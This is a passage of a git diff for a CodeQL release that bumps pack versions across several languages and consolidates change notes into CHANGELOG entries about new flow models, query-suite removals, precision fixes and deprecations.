+* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. + +### New Features + +* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. +* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. +* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. +* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. +* Added support for `wmain` as part of the ArgvSource model. + +### Bug Fixes + +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. diff --git a/cpp/ql/lib/codeql-pack.release.yml b/cpp/ql/lib/codeql-pack.release.yml index 70ac3707fcda..c9e54136ca5c 100644 --- a/cpp/ql/lib/codeql-pack.release.yml +++ b/cpp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.3.1 +lastReleaseVersion: 5.0.0 diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index e15623e2ddb9..f5c883018959 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 4.3.2-dev +version: 5.0.0 groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/src/CHANGELOG.md b/cpp/ql/src/CHANGELOG.md index f9880ce57641..49bf1f975eea 100644 --- a/cpp/ql/src/CHANGELOG.md +++ b/cpp/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.4.1 + +### Minor Analysis Improvements + +* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. + ## 1.4.0 ### Query Metadata Changes diff --git a/cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md b/cpp/ql/src/change-notes/released/1.4.1.md similarity index 65% rename from cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md rename to cpp/ql/src/change-notes/released/1.4.1.md index c03bd600ac91..7d1ba66b92ed 100644 --- a/cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md +++ b/cpp/ql/src/change-notes/released/1.4.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- -* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. \ No newline at end of file +## 1.4.1 + +### Minor Analysis Improvements + +* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. diff --git a/cpp/ql/src/codeql-pack.release.yml b/cpp/ql/src/codeql-pack.release.yml index b8b2e97d5086..43ccf4467bed 100644 --- a/cpp/ql/src/codeql-pack.release.yml +++ b/cpp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.4.0 +lastReleaseVersion: 1.4.1 diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index 07c7cb322495..aa04ab588e40 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.4.1-dev +version: 1.4.1 groups: - cpp - queries diff --git a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md index f177ccf403e3..0a441eeacb20 100644 --- a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.7.41 + +No user-facing changes. + ## 1.7.40 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md new file mode 100644 index 000000000000..b99dc457ba95 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md @@ -0,0 +1,3 @@ +## 1.7.41 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml index 47c67a0a4d32..2eee1633d769 100644 --- a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.40 +lastReleaseVersion: 1.7.41 diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index 6c3519f47858..e4e790c02b49 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.41-dev +version: 1.7.41 groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md index f177ccf403e3..0a441eeacb20 100644 --- a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.7.41 + +No user-facing changes. + ## 1.7.40 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md new file mode 100644 index 000000000000..b99dc457ba95 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md @@ -0,0 +1,3 @@ +## 1.7.41 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml index 47c67a0a4d32..2eee1633d769 100644 --- a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.40 +lastReleaseVersion: 1.7.41 diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index 1cfbcb1f030a..68c2a91ba496 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.41-dev +version: 1.7.41 groups: - csharp - solorigate diff --git a/csharp/ql/lib/CHANGELOG.md b/csharp/ql/lib/CHANGELOG.md index 47503fa222ed..1fcecc7f8e9b 100644 --- a/csharp/ql/lib/CHANGELOG.md +++ b/csharp/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 5.1.7 + +### Minor Analysis Improvements + +* The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). + ## 5.1.6 No user-facing changes. diff --git a/csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md b/csharp/ql/lib/change-notes/released/5.1.7.md similarity index 78% rename from csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md rename to csharp/ql/lib/change-notes/released/5.1.7.md index c45cce859826..2cc0418ad62c 100644 --- a/csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md +++ b/csharp/ql/lib/change-notes/released/5.1.7.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 5.1.7 + +### Minor Analysis Improvements + * The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). diff --git a/csharp/ql/lib/codeql-pack.release.yml b/csharp/ql/lib/codeql-pack.release.yml index 5ddeeed69fc2..f26524e1fd9a 100644 --- a/csharp/ql/lib/codeql-pack.release.yml +++ b/csharp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.1.6 +lastReleaseVersion: 5.1.7 diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 3cfd38613775..6f5c0b15f3a9 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.7-dev +version: 5.1.7 groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/src/CHANGELOG.md b/csharp/ql/src/CHANGELOG.md index a73c77f224f7..b2384df0d06f 100644 --- a/csharp/ql/src/CHANGELOG.md +++ b/csharp/ql/src/CHANGELOG.md @@ -1,3 +1,12 @@ +## 1.2.1 + +### Minor Analysis Improvements + +* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. +* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. +* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. +* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. + ## 1.2.0 ### Query Metadata Changes diff --git a/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md b/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md deleted file mode 100644 index ed9805f6ecef..000000000000 --- a/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. diff --git a/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md b/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md deleted file mode 100644 index 2d8c5c1c56e0..000000000000 --- a/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. diff --git a/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md deleted file mode 100644 index 6255db9c199f..000000000000 --- a/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. diff --git a/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md b/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md deleted file mode 100644 index ee3d60fe4ff8..000000000000 --- a/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. diff --git a/csharp/ql/src/change-notes/released/1.2.1.md b/csharp/ql/src/change-notes/released/1.2.1.md new file mode 100644 index 000000000000..2751be1db8ae --- /dev/null +++ b/csharp/ql/src/change-notes/released/1.2.1.md @@ -0,0 +1,8 @@ +## 1.2.1 + +### Minor Analysis Improvements + +* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. +* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. +* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. +* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. diff --git a/csharp/ql/src/codeql-pack.release.yml b/csharp/ql/src/codeql-pack.release.yml index 75430e73d1c4..73dd403938c9 100644 --- a/csharp/ql/src/codeql-pack.release.yml +++ b/csharp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.0 +lastReleaseVersion: 1.2.1 diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index 7f4043b2c07b..59800dabbdb8 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.2.1-dev +version: 1.2.1 groups: - csharp - queries diff --git a/go/ql/consistency-queries/CHANGELOG.md b/go/ql/consistency-queries/CHANGELOG.md index c3254e1caad7..a684ef060a5c 100644 --- a/go/ql/consistency-queries/CHANGELOG.md +++ b/go/ql/consistency-queries/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/go/ql/consistency-queries/change-notes/released/1.0.24.md b/go/ql/consistency-queries/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/go/ql/consistency-queries/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/go/ql/consistency-queries/codeql-pack.release.yml b/go/ql/consistency-queries/codeql-pack.release.yml index 0f96ba41d168..d08329a98fc8 100644 --- a/go/ql/consistency-queries/codeql-pack.release.yml +++ b/go/ql/consistency-queries/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index 7c8b45152648..ce75cf33047b 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.24-dev +version: 1.0.24 groups: - go - queries diff --git a/go/ql/lib/CHANGELOG.md b/go/ql/lib/CHANGELOG.md index b6031842a21a..58e70d0c2bd8 100644 --- a/go/ql/lib/CHANGELOG.md +++ b/go/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 4.2.6 + +No user-facing changes. + ## 4.2.5 No user-facing changes. diff --git a/go/ql/lib/change-notes/released/4.2.6.md b/go/ql/lib/change-notes/released/4.2.6.md new file mode 100644 index 000000000000..4b76e98c68b3 --- /dev/null +++ b/go/ql/lib/change-notes/released/4.2.6.md @@ -0,0 +1,3 @@ +## 4.2.6 + +No user-facing changes. diff --git a/go/ql/lib/codeql-pack.release.yml b/go/ql/lib/codeql-pack.release.yml index 1821397188ee..2005a7a7f17d 100644 --- a/go/ql/lib/codeql-pack.release.yml +++ b/go/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.2.5 +lastReleaseVersion: 4.2.6 diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 3451f49c2dc5..49a4a809f13e 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.6-dev +version: 4.2.6 groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/src/CHANGELOG.md b/go/ql/src/CHANGELOG.md index a90fa7b70345..794f600ad3e0 100644 --- a/go/ql/src/CHANGELOG.md +++ b/go/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.2.1 + +### Minor Analysis Improvements + +* The query `go/hardcoded-credentials` has been removed from all query suites. + ## 1.2.0 ### Query Metadata Changes diff --git a/go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/go/ql/src/change-notes/released/1.2.1.md similarity index 64% rename from go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to go/ql/src/change-notes/released/1.2.1.md index b25a9b3d056b..d96e9efc3658 100644 --- a/go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/go/ql/src/change-notes/released/1.2.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.2.1 + +### Minor Analysis Improvements + * The query `go/hardcoded-credentials` has been removed from all query suites. diff --git a/go/ql/src/codeql-pack.release.yml b/go/ql/src/codeql-pack.release.yml index 75430e73d1c4..73dd403938c9 100644 --- a/go/ql/src/codeql-pack.release.yml +++ b/go/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.0 +lastReleaseVersion: 1.2.1 diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index 032ac3359028..20e37c247ef4 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.2.1-dev +version: 1.2.1 groups: - go - queries diff --git a/java/ql/lib/CHANGELOG.md b/java/ql/lib/CHANGELOG.md index 412521919b9f..7391228e4836 100644 --- a/java/ql/lib/CHANGELOG.md +++ b/java/ql/lib/CHANGELOG.md @@ -1,3 +1,10 @@ +## 7.3.0 + +### Deprecated APIs + +* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. +* Java now uses the shared `BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The `BasicBlock` class itself no longer extends `ControlFlowNode` - the predicate `getFirstNode` can be used to fix any QL code that somehow relied on this. + ## 7.2.0 ### New Features diff --git a/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md b/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md deleted file mode 100644 index 8b7effc535de..000000000000 --- a/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: deprecated ---- -* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. diff --git a/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md b/java/ql/lib/change-notes/released/7.3.0.md similarity index 72% rename from java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md rename to java/ql/lib/change-notes/released/7.3.0.md index e71ae5c13175..a40049582ef6 100644 --- a/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md +++ b/java/ql/lib/change-notes/released/7.3.0.md @@ -1,4 +1,6 @@ ---- -category: deprecated ---- +## 7.3.0 + +### Deprecated APIs + +* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. * Java now uses the shared `BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The `BasicBlock` class itself no longer extends `ControlFlowNode` - the predicate `getFirstNode` can be used to fix any QL code that somehow relied on this. diff --git a/java/ql/lib/codeql-pack.release.yml b/java/ql/lib/codeql-pack.release.yml index fda9ea165fc5..2b9b871fffa7 100644 --- a/java/ql/lib/codeql-pack.release.yml +++ b/java/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 7.2.0 +lastReleaseVersion: 7.3.0 diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index 8e1e06ab6b5d..44271dee46b4 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.2.1-dev +version: 7.3.0 groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/CHANGELOG.md b/java/ql/src/CHANGELOG.md index 286ed1123af3..fa038d728e6e 100644 --- a/java/ql/src/CHANGELOG.md +++ b/java/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.5.1 + +### Minor Analysis Improvements + +* The query `java/hardcoded-credential-api-call` has been removed from all query suites. + ## 1.5.0 ### Query Metadata Changes diff --git a/java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/java/ql/src/change-notes/released/1.5.1.md similarity index 67% rename from java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to java/ql/src/change-notes/released/1.5.1.md index 18340ca87745..23e49bba7294 100644 --- a/java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/java/ql/src/change-notes/released/1.5.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.5.1 + +### Minor Analysis Improvements + * The query `java/hardcoded-credential-api-call` has been removed from all query suites. diff --git a/java/ql/src/codeql-pack.release.yml b/java/ql/src/codeql-pack.release.yml index 639f80c43417..c5775c46013c 100644 --- a/java/ql/src/codeql-pack.release.yml +++ b/java/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.0 +lastReleaseVersion: 1.5.1 diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index be53e6c8c0bf..2938ce64cb3a 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.5.1-dev +version: 1.5.1 groups: - java - queries diff --git a/javascript/ql/lib/CHANGELOG.md b/javascript/ql/lib/CHANGELOG.md index 2d7716b8393d..91b86700ed4e 100644 --- a/javascript/ql/lib/CHANGELOG.md +++ b/javascript/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 2.6.4 + +### Minor Analysis Improvements + +* Improved analysis for `ES6 classes` mixed with `function prototypes`, leading to more accurate call graph resolution. + ## 2.6.3 ### Minor Analysis Improvements diff --git a/javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md b/javascript/ql/lib/change-notes/released/2.6.4.md similarity index 73% rename from javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md rename to javascript/ql/lib/change-notes/released/2.6.4.md index 2303d3d8c629..90658374635e 100644 --- a/javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md +++ b/javascript/ql/lib/change-notes/released/2.6.4.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 2.6.4 + +### Minor Analysis Improvements + * Improved analysis for `ES6 classes` mixed with `function prototypes`, leading to more accurate call graph resolution. diff --git a/javascript/ql/lib/codeql-pack.release.yml b/javascript/ql/lib/codeql-pack.release.yml index e2457adb03c7..ac7556476954 100644 --- a/javascript/ql/lib/codeql-pack.release.yml +++ b/javascript/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.6.3 +lastReleaseVersion: 2.6.4 diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index 87fb92c5bafb..d28403132c44 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.4-dev +version: 2.6.4 groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/src/CHANGELOG.md b/javascript/ql/src/CHANGELOG.md index bd5cb345793e..95b3d48ac2f9 100644 --- a/javascript/ql/src/CHANGELOG.md +++ b/javascript/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.6.1 + +### Minor Analysis Improvements + +* The queries `js/hardcoded-credentials` and `js/password-in-configuration-file` have been removed from all query suites. + ## 1.6.0 ### Query Metadata Changes diff --git a/javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/javascript/ql/src/change-notes/released/1.6.1.md similarity index 73% rename from javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to javascript/ql/src/change-notes/released/1.6.1.md index 99af2e2c448d..b66009e765f5 100644 --- a/javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/javascript/ql/src/change-notes/released/1.6.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.6.1 + +### Minor Analysis Improvements + * The queries `js/hardcoded-credentials` and `js/password-in-configuration-file` have been removed from all query suites. diff --git a/javascript/ql/src/codeql-pack.release.yml b/javascript/ql/src/codeql-pack.release.yml index c4f0b07d5336..ef7a789e0cf1 100644 --- a/javascript/ql/src/codeql-pack.release.yml +++ b/javascript/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.6.0 +lastReleaseVersion: 1.6.1 diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 515ea8a3abda..986f2be84e64 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.6.1-dev +version: 1.6.1 groups: - javascript - queries diff --git a/misc/suite-helpers/CHANGELOG.md b/misc/suite-helpers/CHANGELOG.md index d65ced8b4c71..1959582a1716 100644 --- a/misc/suite-helpers/CHANGELOG.md +++ b/misc/suite-helpers/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/misc/suite-helpers/change-notes/released/1.0.24.md b/misc/suite-helpers/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/misc/suite-helpers/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/misc/suite-helpers/codeql-pack.release.yml b/misc/suite-helpers/codeql-pack.release.yml index 0f96ba41d168..d08329a98fc8 100644 --- a/misc/suite-helpers/codeql-pack.release.yml +++ b/misc/suite-helpers/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index fa44a2706655..e19aa4923af7 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.24-dev +version: 1.0.24 groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/CHANGELOG.md b/python/ql/lib/CHANGELOG.md index 33813cf94e46..36d7cdbcc2fc 100644 --- a/python/ql/lib/CHANGELOG.md +++ b/python/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 4.0.8 + +### Minor Analysis Improvements + +- The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add `paths-ignore: ["**/.*/**"]` to your [Code Scanning config](https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). If you would like to skip all hidden files, you can use `paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the `--codescanning-config` option. + ## 4.0.7 ### Minor Analysis Improvements diff --git a/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md b/python/ql/lib/change-notes/released/4.0.8.md similarity index 93% rename from python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md rename to python/ql/lib/change-notes/released/4.0.8.md index fcbb0a209ce6..a87623b25b52 100644 --- a/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md +++ b/python/ql/lib/change-notes/released/4.0.8.md @@ -1,5 +1,5 @@ ---- -category: minorAnalysis ---- +## 4.0.8 + +### Minor Analysis Improvements - The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add `paths-ignore: ["**/.*/**"]` to your [Code Scanning config](https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). If you would like to skip all hidden files, you can use `paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the `--codescanning-config` option. diff --git a/python/ql/lib/codeql-pack.release.yml b/python/ql/lib/codeql-pack.release.yml index bf65f0dc10b1..36a2330377d9 100644 --- a/python/ql/lib/codeql-pack.release.yml +++ b/python/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.0.7 +lastReleaseVersion: 4.0.8 diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index c98ee1e15d47..e328f386c566 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.8-dev +version: 4.0.8 groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/CHANGELOG.md b/python/ql/src/CHANGELOG.md index c449304f0da1..a65d9f846414 100644 --- a/python/ql/src/CHANGELOG.md +++ b/python/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.5.1 + +### Minor Analysis Improvements + +* The query `py/hardcoded-credentials` has been removed from all query suites. + ## 1.5.0 ### Query Metadata Changes diff --git a/python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/python/ql/src/change-notes/released/1.5.1.md similarity index 64% rename from python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to python/ql/src/change-notes/released/1.5.1.md index ee550ce449b0..3b04255f33ab 100644 --- a/python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/python/ql/src/change-notes/released/1.5.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.5.1 + +### Minor Analysis Improvements + * The query `py/hardcoded-credentials` has been removed from all query suites. diff --git a/python/ql/src/codeql-pack.release.yml 